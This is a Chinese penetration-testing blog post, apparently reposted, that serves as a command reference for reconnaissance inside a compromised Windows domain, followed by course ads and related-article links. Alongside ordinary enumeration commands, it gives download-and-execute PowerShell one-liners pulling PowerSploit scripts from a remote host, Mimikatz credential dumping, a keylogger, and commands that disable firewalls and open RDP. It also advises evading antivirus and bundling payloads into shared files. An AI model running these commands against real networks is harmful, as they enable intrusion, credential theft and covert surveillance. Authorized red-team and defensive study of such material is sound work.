内网渗透实战笔记:信息收集命令快速参考手册​

内网渗透测试:从零掌握13种核心信息收集方法与实战流程 在网络安全领域,信息收集是渗透测试的基石,其本质是系统性情报侦察。其核心原理在于通过低噪音、有序的探测技术,绘制出包含网络拓扑、资产清单、用户权限与安全设施在内的动态内网地图。这项技术的价值在于,它直接决定了后续攻击链的效率和成功率,是隐蔽横向移动与精准打击的前提。在应用场景上,无论是红队评估、攻防演练还是安全监测,高效的信息收集都是突破内网防线的关键第一步。本文将聚焦内网环境,详解包括本地信息搜集、网络存活探测、服务枚举及凭据抓取在内的十三种核心方式,并深入探讨如何将Nmap、Net命令等工具与实战思维结 阅读详情

目录

收藏必备!内网渗透信息收集完全指南:从机器角色判断到域管理员定位

本文全面介绍内网渗透测试中的信息收集技术,包括判断机器所处网络区域及角色、本机信息收集(操作系统、权限、服务等)、域环境信息收集(判断域存在、解析域名等)、存活主机扫描方法(nbtscan、ping等)、域管理员定位技术(psloggedon、PowerView等)以及使用BloodHound进行域分析。文章提供了大量实用命令和工具,帮助渗透测试人员系统掌握内网环境信息收集技术,为后续渗透奠定基础。


介绍

当我们通过渗透进入内网环境后,面对的是一片未知区域。需要对当前机器角色判断,对机器所处区域分析。

判断当前机器区域

判断机器所处于网络拓扑哪个区域,是在DMZ区、办公区、核心区。区域界限是相对的

机器角色判断

  • 文件服务器:配合社工,生成payload捆绑到文件服务器公用文件上,可批量上线主机
  • DNS服务器:端口53,可通过DNS服务器获取内网web系统信息,或者探测域信息
  • DHCP服务器:查看内网多组网段信息,更多的获取拓补信息
  • 开发测试服务器:获取源码,新的信息资产,多存在弱口令
  • 代理服务器:获取服务器账号,拿到各种密码
  • web服务器:可能需要提权(一般接触到的环境)
  • 个人PC:查看是否存在域环境

本机信息收集

包括操作系统、权限、内网IP段、杀软、端口、服务、补丁情况、网络连接、共享、会话等。如果是域内主机,那么操作系统、应用软件、补丁、服务、杀软一般都是批量安装的。文件共享/FTP连接记录、浏览器访问记录、mstsc连接记录、ssh连接记录。

  • 如果由于使用了x86的shell无法使用命令,需要在命令前加上c:\windows\sysnative,这样就能执行x64的命令了。

查询网络配置信息。进行IP地址段、端口、arp记录内网段信息收集

ipconfig /all && netstat -ano && arp -a

查看当前系统版本

wmic OS get Caption,CSDVersion,OSArchitecture,Version

查看体系结构

echo %PROCESSOR_ARCHITECTURE%

查询操作系统及软件信息

systeminfo | findstr /B /C:”OS Name” /C:”OS Version” ## 英文系统 systeminfo | findstr /B /C:”OS 名称” /C:”OS 版本” ## 中文系统

查看.net framework版本

reg query “HKLM\Software\Microsoft\NET Framework Setup\NDP” /s /v version | findstr /i version | sort /+26 /r

查看补丁列表

systeminfo

查看补丁的名称、描述、ID、安装时间等

wmic qfe get Caption,Description,HotFixID,InstalledOn

PowerShell收集软件的版本信息

powershell “Get-WmiObject -class Win32_Product |Select-Object -Property name, version”

查看安装的软件的版本、路径等

wmic product get name, version

查看软件比较靠谱的做法是将远程加载本地ps文件,cs中可以使用powershell-import,上传ListInstallProgram.ps1后输入

powershell Get-list

将文件放到靶机,本地加载也可以

shell powershell -exec bypass -Command "& {Import-Module 'C:\Users\HackerQWQ\Desktop\ListInstalledProgram.ps1';Get-list}"

查看当前用户权限

whoami && whoami /priv

查询本机服务信息

wmic service list brief

查看开启的服务

net start

wmic查询进程信息

wmic process list brief

查看进程

tasklist /svc

查看启动程序信息

wmic startup get command,caption

查看计划任务(需要高权限)

at(win10之前) schtasks /query /fo LIST /v(win10之后)

查看主机开机时间

net statistics workstation

查看本机用户列表

net user

获取本地管理员信息

net localgroup administrators

查看当前在线用户

query user || qwinsta

查看在线用户

quser

列出或断开本地计算机与所连接的客户端的对话(需要高权限)

net session

查询端口列表

Windows: netstat -ano linux: netstat -tnlp

查看本机共享列表和可访问的域共享列表

net share (445端口)

查找共享列表

wmic share get name,path,status

磁盘映射

net use k: \192.168.1.10\c$

查询路由表

route print

可用接口的ARP缓存表。局域网内arp -a,查看是否有重复的mac地址判断是否存在arp欺骗。服务器绑定mac地址方式防止arp欺骗

arp -a

查看远程连接信息

cmdkey /l

查看杀软

WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

查看本地密码策略

net accounts

查看hosts文件:

linux:cat /etc/hosts windows:type c:\Windows\system32\drivers\etc\hosts

查看dns缓存

ipconfig /displaydns

  • 列举安装的软件

    ListInstalledProgram项目地址:https://github.com/3gstudent/ListInstalledPrograms

  • 自动信息收集

    我们可使用自动化脚本WMIC(Windows Management Instrumentation Command-Line,Windows管理工具命令行)。在默认情况下,任何版本的Windows XP的低权限用户不能访问WMIC,Windows 7以上版本的低权限用户允许访问WMIC并执行相关操作。 执行后,会将信息收集的结果写入HTML文档。

    项目地址: http://www.fuzzysecurity.com/scripts/files/wmic_info.rar

    获取主机信息也可以用Seatbelt.exe,项目地址:https://github.com/GhostPack/Seatbelt/tree/master,需要编译,放到靶机上执行下列命令

    shell Seatbelt.exe -group=all > env.txt
    
    

    最好先免杀一下,不然360会一直警告,cs上的插件也有集成Seatbelt,可以直接使用插件

常见查毒软件进程

tasklist /svc

随后将结果放到avList中对比查看

进程软件名称
360SD.EXE360杀毒
360TRAY.EXE360实时保护
ZHUDONGFANGYU.EXE360主动防御
KSAFETRAY.EXE金山卫士
SAFEDOGUPDATECENTER.EXE服务器安全狗
MCAFEE MCSHIELD.EXE迈克菲杀毒软件
EGUI.EXENOD32
AVP.EXE卡巴斯基
AVGUARD.EXE小红伞
BDAGENT.EXEBITDEFENDER

可以用avList自动判断,项目地址:https://github.com/gh0stkey/avList

浏览器信息收集

项目地址:https://github.com/moonD4rk/HackBrowserData

image-20220731162608183

域环境信息收集

判断是否存在域

ipconfig /all 可查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器处在同一网段等。

image-20211220011528899

解析域名ip

通过反向解析查询命令nslookup来解析域名的IP地址,用解析到的IP地址进行对比,判断域控服务器和DNS服务器是否在同一台机器上

image-20211220011610591

查看当前权限

whoami

获取域SID

whoami /all

查询指定用户的详情信息

net user xxx /domain

查看域内所有账号

net user /domain

对比查看”域(域名)”和”登录服务器(域控制器)”的信息是否匹配

systeminfo

对比查看”工作站域DNS名称(域名)”和”登录域(域控制器)”的信息是否相匹配

net config workstation

查看时间可以找到域控

net time /domain

查看域密码策略

net accounts /domain

查看当前登录域

net config workstation

查看域用户

net user /domain

登录本机的域管理员

net localgroup administrators /domain

获取域控ip

ping -a xxx.com

查询域

net view /domain

查询域内的所有计算机

net view /domain:HACHE

查询域的所有组(enterprise admins组权限最大)

net group /domain

SPN扫描

setspn -T domain -q /

查看域管理员的用户组

net group “domain admins” /domain

查询域系统管理员用户组

net group “Enterprise admins” /domain

查看域控制器

net group “domain controllers” /domain

查看域控制器的机器名

nltest /DCLIST:hacke

查看dns缓存

ipconfig /displaydns

列域控c盘文件(需要域管理员权限)

dir \WIN-75NA0949GFB.safe-duck.com\c$

查询所有域成员计算机列表

net group “domain computers” /domain

获取域信任信息

nltest /domain_trusts

获取域内用户的详细信息

wmic useraccount get /all

查看存在的用户

dsquery user

查询所有计算机名称

dsquery computer

攻击主机CMD扫描同网段存活ip

windows

# 扫c段
for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="

Linux

#!/bin/bash
NET=10.168.1.
for IP in {100..115}
do
if `ping -c2 -i0.2 -w2 $NET$IP &> /dev/null`
then echo -e "$NET$IP is \033[31mup\033[0m"
else echo -e "$NET$IP is \033[32mdown\033[0m"
fi
done

扫b段

for i in 192.168.{1..254}.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null;then echo $i is alived; fi; done

PowerView.ps域内信息收集

Invoke-NetView //查域内环境 Invoke-ShareFinder //查共享目录 Invoke-MapDomainTrusts //查看域内信任关系 Get-NetLocalGroup -HostName TARGET(主机名) //查看指定用户的登录时间、所属组情况

cs信息收集

target组信息的命令

net group \Target net localgroup \target 组名

获取远程目录

shell dir \target\c

\users //递归获取多级目录及文件

cs通过powershell命令获取目录信息

powersehll Invoke-Command -ComputerName target -ScriptBlock{dir c:} powershell Invoke-Command -ComputerName target -ScriptBlock{net localgroup administrators}

cs通过mimikatz抓取远程哈希值

powershell-import Invoke-Mimikatz.ps1 powershell Invoke-Mimikatz -DumpCreds powershell Invoke-Mimikatz -Command ‘“privilege::debug” “sekurlsa::logonPasswords full”‘

防火墙相关

  1. 关闭防火墙

    Windows Server 2003及之前的版本(admin):

    netsh firewall set opmode disable
    
    

    Windows Server 2003之后的版本(admin):

    netsh advfirewall set allprofiles state off
    
    
  2. 查看防火墙配置:

    netsh firewall show config
    
    

    20210402114218

  3. 修改防火墙配置

    Windows Server 2003及之前的版本,允许指定程序全部连接:

    netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
    
    

    Windows Server 2003之后的版本,情况如下。

    允许指定程序进入:

    netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
    
    

    允许指定程序退出:

    netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"
    
    

    允许3389端口放行:

    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    
    

    自定义防火墙日志的储存位置

    netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
    
    

查询代理配置情况

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

20210402114228

查询并开启远程连接服务

  1. 查看远程连接端口

    0xd3d转换后就是3389

    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
    
    
  2. 在Windows Server 2003中开启3389端口

wmic path win32_terminalservicesetting where (__CLASS !="")  call setallowtsconnections 1

  1. 在Windows Server 2008和Windows Server 2012中开启3389端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

端口扫描

telnet端口连接

没有开启的话去“打开或关闭windows功能”开启

  • telnet只用于确认端口是否开启用,不拿来端口扫描
telnet <主机> <端口>
telnet 192.168.52.138 445

PowerSploit 中的Invoke-portscan.ps1脚本

下载地址:https://github.com/PowerShellMafia/PowerSploit

端口扫描利用到工具包中的Portscan.ps1

powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -ports '445,1433,8080,80,3389'"

// 或者扫描全部的端口:-Ports "1-65535"

image-20211229003834739

Nishang中的Invoke-portscan.ps1

下载地址:https://github.com/samratashok/nishang

该脚本可用于发现主机、解析主机名、扫描端口。

powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Scan/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.255 -ResolveHost -Port '1-65535'"

// -ResolveHost:解析主机名

image-20211229004647052

Nmap扫描

一般通过挂代理,nmap远程扫描

《内网渗透测试:隐藏通讯隧道技术》

Metasploit 端口扫描模块

Metasploit中提供了很多内置的扫描模块,使用方便,在侵入内网后设置好路由直接扫即可,有时速度有些慢。几个常用的:

auxiliary/scanner/portscan/tcp
auxiliary/scanner/portscan/tcp
auxiliary/scanner/portscan/ack

收集域内端口的banner信息

banner信息表示“欢迎语”,其中会包含一些敏感信息,在banner信息中,可以获取到软件开发商、软件名称、服务类型、版本号等,而版本号信息有时会存在公开的CVE可以利用。获取到版本号后,可以在中查找到对应的CVE编号,并在ExploitDB等平台上面找到相关的利用方式。

使用Nmap获取banner
nmap <IP地址> --script=banner -p <端口/端口范围>

img

使用nc获取banner
nc -nv <IP地址> <端口>

img

存活主机扫描

nbtscan

nbtscan.exe是一个命令行工具,用于扫描本地或远程TCP/IP网络上的开放NetBIOS名称服务器。

下载地址:https://github.com/MrAnonymous-1/nbtscan

将nbtscan.exe上传到目标主机上,然后直接输入ip段即可运行扫描:

//扫描一个网段
nbtscan.exe 192.168.1.0/24
//扫描两个网段
nbtscan.exe 192.168.1.0/24 192.168.2.0/24

image-20220102212911598

参数解释:

  • SHARING:该主机存在正在运行的文件和打印共享服务
  • DC:该机器可能是域控制器
  • ?:没有识别处该机器的NetBIOS资源
ping

基于icmp扫描内网

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
//兼容win7
for /l %i in (1,1,254) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Ping"
//扫b段
for /l %i in (1,1,254) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Ping"

image-20220102210052830

arp-scan.exe

基于arp协议来进行存活性扫描

项目地址:https://github.com/QbsuranAlang/arp-scan-windows-

image-20220102223533890

批处理脚本

这个批处理文件可用于对内网工作组和域内存活主机进行简单的扫描探测,并且支持中英文操作系统。

@echo off
@echo.
@FOR /F "usebackq delims=, " %%J IN (`net view /domain ^|find "命令成功完成" /v ^|find "The command completed successfully." /v ^|find "命令成功完成" /v ^|find "--" /v ^|find "Domain" /v ^|find "" /v ^|find "コマンドは正常に終了しました" /v /i`) do (
@echo ====== Domain:%%J =========
@FOR /F "usebackq eol=; delims=, " %%i in (`net view /domain:%%J ^|findstr "\\"`) do (
@FOR /F "usebackq eol=; tokens=1,2,3* delims=\\" %%a in (`@echo %%i`) do (
ping %%a -4 -n 1 -w 100 |find /i "ping" > %%a.txt
@FOR /F "tokens=2 delims=[]" %%b in (%%a.txt) do @echo \\%%a = [%%b]
@del /f /q %%a.txt
)))
@echo ====== Getting IP Complete ======

msf主机存活扫描
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/netbios/nbname

MSF建立会话拿到shell,即可直接执行DOS命令至今进行信息收集。也可以进行直接执行run winenum可以一键收集记录。

run winenum

定位域管理员

psloggeddon.exe

下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

psloggedon.exe可以查看本地登陆的用户和通过本地计算机或远程计算机资源登陆的用户。如果指定的是用户名而不是机器名,psloggedon.exe会搜索网上邻居中的所有计算机,并显示该用户是否已经登录。该工具的某些功能需要管理员权限。

psloggedon.exe [-] [-l] [-x] [\\computername或username]

查看DC(域控)登录过的机器

PsLoggedon64.exe -accepteula \\DC

image-20220102224228793

查看本地登录的用户

PsLoggedon64.exe -accepteula

image-20220102224301966

查看指定用户登录的计算机

PsLoggedon64.exe -accepteula Administrator

image-20220102224406477

PVEFindADUser.exe

下载地址:https://www.corelan.be/index.php/my-free-tools/ad-cs/pve-find-ad-user/

PVEFindADUser.exe 可用于查找活动目录用户登陆的位置、枚举域用户,以及查找在特定计算机上登陆的用户,包括查找本地用户。通过RDP远程桌面登陆的用户、通过运行服务和计划任务的用户。运行该工具需要计算机配置**.NET Framework 2.0 环境**,并需要有**管理员权限**。

PVEFindADUser.exe <参数>

我们一般直接运行pvefinaduser.exe -current命令,即可显示域中所有计算机上当前登陆的所有用户。

image-20220102225301609

显示指定用户登录的计算机

current[“username”]如果仅指定了-current参数,将获取目标计算机上当前登录的所有用户。如果指定了用户名(Domain\Username),则显示该用户登陆的计算机
PVEFindADUser.exe -current redteam.org\dc
//PVEFindADUser.exe -current domain\username

image-20220102225446676

powerview.ps1

powerview脚本可以用来获取当前域管理员在线登录的服务器,其依赖powershell和wmi,在powersploit工具包中,是一个收集域信息很好用的脚本。

  • Invoke-UserHunter:**搜索本地域中域管理员当前在线的主机,并验证当前用户是否具有对这些主机的本地管理员访问权限。**它可以使用 Get-NetSessions 和Get-NetLoggedon 扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,并且无需管理员权限。

如下,可以看到本地域有一个域管理员:

我们通过Invoke-UserHunter(等于Invoke-UserHunter -CheckAccess)来定位他们:

powershell.exe -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Recon/PowerView.ps1');Invoke-UserHunter

详情请执行Get-Help Invoke-UserHunter命令查看,具体使用方法与前两个相似,它可以找到域内特定的用户群,接受用户名、用户列表和域组列表查询,接受一个主机列表或查询可用的主机域名。一切都是灵活的,让你自己定义找寻谁,在哪里找。

获取指定用户在线机器:

img

Empire信息收集

# 查看本机用户、域组成员、密码设置时间、剪贴板内容、系统基本信息、网络适配器信息、共享信息等
usemodule situation_awareness/host/winenum
# 目标主机事件日志、应用程序控制策略日志、RDP登录信息、PowerShell脚本运行和保存的信息等,需要管理员权限
usemodule situational_awareness/host/computerdetails

powersploit 信息收集

项目地址:https://github.com/PowerShellMafia/PowerSploit ,已经停止维护

建立会话后的meterpreter:

#加载模块
load powershell
#调用本地ps脚本
powershell_import /usr/share/windows-resources/powersploit/Recon/xx.ps1
#命令执行
powershell_execute  Get-NetDomain
#获取当前的域名称
Get-NetDomain
#返回所有域内成员的详细信息
Get-Netuser
#获取所有的域内的控制器信息
Get-NetDomainController
#获取所有域内机器的名称
Get-NetComputer
#获取域内的所有的网络共享
Get-Netshare
#获取指定服务的远程连接信息
Get-NetRDPSESSION
#获取进程的详细信息
Get-NetProcess
# 获取活动目录的信息
Get-ADOPJECT
#判断用户是否登陆计算机且用户是否有管理员权限
invoke-processhunter

powersploit无文件攻击 将下载的文件放在vps上面。确保目标服务器可以访问:

如:http://xxx.com/PowerSplot/Recon/Invoke-Portscan.ps1

#在目标机导入脚本:
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Recon/Invoke-Portscan.ps1")
#扫描网段、端口
invoke-portscan -hosts 192.168.1.1/24 -ports "21,22,80,139,80,445"
#invoke-mimikatz抓取hash
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
#导hash
Invoke-Mimikatz -dumpcreds
#get-keystrokes键盘记录
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
#将键盘记录保存到123.txt里面
Get-Keystrokes -logpath C:\Users\admin\123.txt

翻翻配置文件

一个正常的Web应用肯定有对应的数据库账号密码信息,可以使用如下命令寻找包含密码字段的文件:

findstr  /s /m "password" *.*
findstr /s /i /m /r "defineclass remoteserver" Web目录 \*.jsp
# /r 表示正则,/s表示遍历子目录,/m表示不显示匹配

Linux查文件:

find Web应用目录 -iname "*.jsp*" | xargs egrep -l -i "classloader" |xargs egrep -l -i "cipher"
find Web应用目录 -iname "*.php*" | xargs egrep -l -i "openssl_decrypt" |xargs egrep -l -i "file_get_contents"

敏感路径

%WINDIR%
%WINDIR%\system32\
%TEMP%
%LOCALAPPDATA%
%APPDATA%
C:\TEMP\
C:\Windows\Temp
%UserProfile%\Downloads
%UserProfile%\Recent
C:\$Recycle.bin

常用应用的默认配置路径:

Tomcat:
CATALINA_HOME/conf/tomcat-users.xml

Apache:
/etc/httpd/conf/httpd.conf

Nginx:
/etc/nginx/nginx.conf

Wdcp:
/www/wdlinux/wdcp/conf/mrpw.conf

Mysql:
mysql\data\mysql\user.MYD

还有一些Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)的密码查看

项目: https://github.com/uknowsec/SharpDecryptPwd

BloodHound域分析工具

BloodHound通过图与线的形式,将域内用户、计算机、及相关用户等等之间的关系直观地展现在Red Team队员面前,帮助更快的梳理域内的情况。

  • BloodHound基于Neo4j(非关系型数据库)
配置
  1. 安装java

  2. 安装Neo4jServer Community

    https://neo4j.com/download-center/#community

    image-20220107001050290

    开启服务

    neo4j.bat console
    
    

    image-20220107001246254

    通过http://localhost:7474/broswer访问,账号密码neo4j/neo4j

    image-20220107001346092

  • 忘记密码的话将neo4j.conf中的dbms.security.auth_enabled=false开启就可以了,重启服务即可生效
  1. 下载BloodHound

    打开BloodHound.exe,输入账号密码(neo4j/123456)即可进入主页面

    image-20220126163803646

使用

通过上传SharpHound.exe运行命令

SharpHound.exe -c all

生成压缩包然后在BloodHound.exe的upload data导入数据

image-20220126181806426

可以选中一个节点查看node info

image-20220126181902426

也可以通过analysis中的一些预定义查询语句查询,如这里选用Find all Domain Admins查询结果

文章来自网上,侵权请联系博主


如何系统学习网络安全?

网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。

构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。

如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

在这里插入图片描述

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

img

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

在这里插入图片描述

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

img

Kali Linux渗透测试实战指南:从工具解析到合法应用 渗透测试是网络安全领域的核心实践,旨在通过模拟攻击者行为来识别系统漏洞。其原理在于主动发现安全弱点,从而提升防御能力。这项技术的价值在于帮助企业提前发现风险,避免实际损失。在应用场景上,渗透测试广泛应用于金融、政府、互联网等行业的安全评估。Kali Linux作为专业的渗透测试平台,集成了Nmap、Metasploit等600余款工具,为安全研究人员提供了开箱即用的测试环境。通过虚拟机部署和隔离实验室构建,学习者可以在合法授权的前提下,系统掌握漏洞扫描、渗透攻击等实战技能,将Kali Linux转化为提升安 阅读详情

相关推荐

SSRF漏洞深度解析:从原理到实战的攻防指南

服务器端请求伪造(SSRF)是一种常见且危害性高的Web安全漏洞,其核心原理在于攻击者能够操控服务器向任意地址发起网络请求。该漏洞的本质是服务器对外部资源标识符的解析与获取行为,被不完全受控的用户输入所影响。从技术价值看,SSRF不仅能够直接导致敏感信息泄露,更可作为攻击内网服务的跳板,与内网渗透、权限提升等攻击链深度结合。在应用场景上,常见于具备“从URL获取资源”功能的Web应用,例如图片处理、内容预览、数据聚合等模块。本文聚焦于SSRF的深度利用与高级绕过技巧,通过剖析真实代码场景和攻击案例,系统阐述

weixin_33874713的博客 639

内网渗透实战笔记:信息收集命令快速参考手册

当我们通过渗透进入内网环境后,面对的是一片未知区域。需要对当前机器角色判断,对机器所处区域分析。

2401_84215240的博客 815

内网渗透必备工具.zip:从目录结构到实战操作的全拆解

内网渗透测试是企业安全评估与红蓝对抗演练中的核心环节,其本质是通过信息收集、权限提升、横向移动与权限维持等阶段,模拟攻击者在内网环境中的完整入侵路径。在这一过程中,攻防双方都高度依赖经过实战检验的工具组合,mimikatz、psexec、crackmapexec等经典工具的高效配合,往往决定了攻击链能否快速推进。一个组织良好的内网渗透工具包,不仅是红队扩大战果的关键资产,也是蓝队开展安全自查、检测异常凭据与后门的重要参考。本文从工具包目录结构出发,拆解内网渗透的标准作业流程与高频踩坑点,涵盖哈希校验、免杀边

weixin_34342992的博客 336

内网渗透实战:Windows与Linux信息收集命令手册

在网络安全领域,信息收集是渗透测试与红队评估的基石。其核心原理在于,在获得内网初始访问权限后,通过系统化、分阶段地探查目标环境,获取主机身份、网络拓扑、用户权限及资产分布等关键情报,从而为后续的权限提升、横向移动和深度渗透提供决策依据。这项技术的价值在于,它能帮助安全人员高效绘制“内网地图”,避免盲目扫描引发的告警,实现精准打击。典型的应用场景包括企业内网渗透测试、红蓝对抗演练以及应急响应中的攻击路径溯源。本手册聚焦于实战,系统梳理了Windows与Linux环境下的核心命令,涵盖了从基础系统信息、用户权限

weixin_32428571的博客 283

SpringBoot SSE避坑指南:当客户端突然断开时服务端SseEmitter的正确回收姿势

本文深入探讨了SpringBoot中SSE连接的生命周期管理,特别是客户端主动断开连接时服务端SseEmitter的正确回收机制。文章重点分析了客户端调用eventSource.cancel()等场景下,如何利用onCompletion()回调进行可靠的资源清理,避免内存泄漏,并提供了防御式编程策略和实战优化建议。

mm9012的博客 778

极坐标格式算法(PFA)-SAR成像算法系列(六)

SAR成像算法:极坐标格式算法,介绍了算法的基本原理以及实现步骤,包含dechirp处理、RVP补偿,距离插值、方位插值。文后附有代码,可根据自身情况下载。

yjh_2019的博客 1万+

OSCPRepo CherryTree笔记系统:终极渗透测试知识库管理指南

OSCPRepo CherryTree笔记系统是专为渗透测试学习者和安全从业者设计的完整知识管理解决方案。这个开源项目通过CherryTree工具整合了OSCP认证、渗透测试、红队攻防等领域的丰富资源,帮助用户高效管理海量安全知识。无论你是准备OSCP考试的新手,还是经验丰富的安全专家,这个笔记系统都能为你提供结构化的知识框架和便捷的查询功能。 ## 🔍 CherryTree笔记系统:渗透测试

gitblog_01127的博客 599

全局–局部傅里叶神经算子(GL-FNO):原理、严格推导与 PINN 混合策略

本文提出了一种全局-局部傅里叶神经算子(GL-FNO)及其与物理信息神经网络(PINN)的结合方法。主要内容包括: 架构设计:GL-FNO包含两个分支 - 全局分支处理低频结构,使用下采样输入;局部分支处理高频细节,使用全分辨率输入。两分支通过自适应门控机制融合。 理论分析:证明了GL-FNO在"低频全局+高频局部"任务上的优势,给出了误差分解和复杂度分析,并推导了与PINN结合时的渐进一致性条件。 实现方法:采用频谱微分计算物理残差,推导了完整的训练流程,包括数据损失与物理损失的联合优

VectorShift的博客 1334

从Breakout靶机实战解析渗透测试全流程:信息收集到权限提升

渗透测试是信息安全领域的核心实践,旨在通过模拟攻击来评估系统防御能力。其原理基于对目标系统进行系统性探测,识别潜在漏洞并验证可利用性。这项技术的价值在于帮助组织提前发现安全弱点,避免真实攻击造成的损失。在应用场景上,渗透测试广泛应用于企业安全评估、漏洞挖掘和攻防演练。本文以Vulnhub的Breakout靶机为例,深入剖析渗透测试的完整流程,涵盖信息收集、漏洞利用和权限提升等关键环节,特别聚焦于文件上传漏洞和SUID提权等常见攻击手法,为初学者提供实战指导。

346

【DRAM存储器六十八】DDR5介绍--DQS Interval Oscillator—动态时序校准利器

DDR5内存采用DQS间隔振荡器(DQSIntervalOscillator)技术应对高速数据传输中的时序漂移问题。该技术通过测量DQS信号在可编程时间窗口内的振荡次数(16位计数值),动态监测温度/电压变化导致的DQS-DQ延迟偏移。控制器通过MPC命令启停振荡器,读取MR46/MR47寄存器获取计数值,并与基准值对比来调整DQS相位,确保数据采样窗口始终处于最佳位置。该机制使DDR5在8400MT/s高速率下仍能保持数据可靠性,有效补偿±0.48tCK的时序偏移。

highman110的博客 157

用 ABAP EML 驾驭 RAP 业务对象:从事务缓冲区到落库提交的一条龙实践

摘要:ABAP EML(Entity Manipulation Language)是SAP RAP框架的核心语言能力,为ABAP开发者提供强类型、批处理友好的方式操作RAP业务对象。EML通过事务缓冲区管理数据变更,支持读取(READ ENTITIES)、修改(MODIFY ENTITIES)及事务控制(COMMIT/ROLLBACK ENTITIES)。其特点包括:基于BDEF派生类型确保类型安全,%control和%cid等特殊字段实现精细控制,统一的消息模型便于错误处理。相比传统ABAP数据访问方式,

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 953

内网安全评估信息收集命令速查:覆盖Windows、Linux与域环境

内网安全评估的第一步是信息收集,决定后续测试的精准度。理解系统基础信息、网络连接与账号权限的获取原理,是安全工程师高效开展渗透测试的关键。通过系统内置命令,如Windows下的whoami、net、ipconfig,以及Linux下的id、ss、find,能在不引入额外工具的情况下摸清主机角色、网络拓扑与潜在风险。这些技术不仅是攻防演练的侦察手段,也是日常运维排查和防御加固的基础。结合域环境下的查询技巧,可进一步提升内网资产梳理的全面性。本文作为一份实用命令速查,为安全测试与防护人员提供了可参考的操作清单,

weixin_42524171的博客 300

微信小程序 - 解决报错 {“errcode“:41002,“errmsg“:“appid missing, rid: X“} 微信报错错误码errcode“:41002问题分析及解决教程(详细排查)

【微信小程序】报错{“errcode“:41002,“errmsg“:“appid missing, rid: 64e55770-67c1fb7e-027c5a70“}:【微信小程序】微信小程序登录请求出现appid missing提示,微信公众号{"errcode":41002,"errmsg":"appid missing"},微信 报错{“errcode“:41002,“errmsg“:“appid missing,微信小程序获取openid返回appid missing的问题,微信小程序提示Erro

🏆 前端领域优质创作者 5661

零基础Web安全入门:从HTTP协议到SQL注入实战的四阶段学习路线

